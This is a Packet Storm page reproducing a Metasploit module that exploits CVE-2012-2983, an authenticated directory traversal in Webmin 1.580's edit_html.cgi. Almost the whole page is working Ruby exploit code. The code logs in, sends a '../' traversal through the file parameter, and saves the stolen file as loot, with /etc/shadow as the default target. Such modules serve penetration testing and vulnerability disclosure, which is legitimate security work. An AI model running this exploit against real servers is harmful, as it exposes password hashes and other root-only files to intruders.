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Webmin Edit_html.cgi File Parameter Traversal Arbitrary File Access

🗓️ 31 Aug 2024 00:00:00Reported by juan vazquez, temp66, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 166 Views

Webmin directory traversal exploit for edit_html.cgi file parameter

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',  
'Description' => %q{  
This module exploits a directory traversal in Webmin 1.580. The vulnerability  
exists in the edit_html.cgi component and allows an authenticated user with access  
to the File Manager Module to access arbitrary files with root privileges. The  
module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.  
},  
'Author' => [  
'Unknown', # From American Information Security Group  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '85247'],  
['BID', '55446'],  
['CVE', '2012-2983'],  
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],  
['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']  
],  
'DisclosureDate' => '2012-09-06',  
'Actions' =>  
[  
['Download', 'Description' => 'Download arbitrary file']  
],  
'DefaultAction' => 'Download'  
))  
  
register_options(  
[  
Opt::RPORT(10000),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 4]),  
OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])  
])  
end  
  
def run  
  
peer = "#{rhost}:#{rport}"  
  
print_status("Attempting to login...")  
  
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/session_login.cgi",  
'cookie' => "testing=1",  
'data' => data  
}, 25)  
  
if res and res.code == 302 and res.get_cookies =~ /sid/  
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''  
if session and not session.empty?  
print_good "Authentication successful"  
else  
print_error "Authentication failed"  
return  
end  
else  
print_error "Authentication failed"  
return  
end  
  
print_status("Attempting to retrieve #{datastore['RPATH']}...")  
  
traversal = "../" * datastore['DEPTH']  
traversal << datastore['RPATH']  
data = "file=#{traversal}&text=1"  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => "/file/edit_html.cgi?#{data}",  
'cookie' => "sid=#{session}"  
}, 25)  
  
if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)  
loot = $1  
f = ::File.basename(datastore['RPATH'])  
path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])  
print_good("#{datastore['RPATH']} saved in #{path}")  
else  
print_error("Failed to retrieve the file")  
return  
end  
  
end  
end  
`

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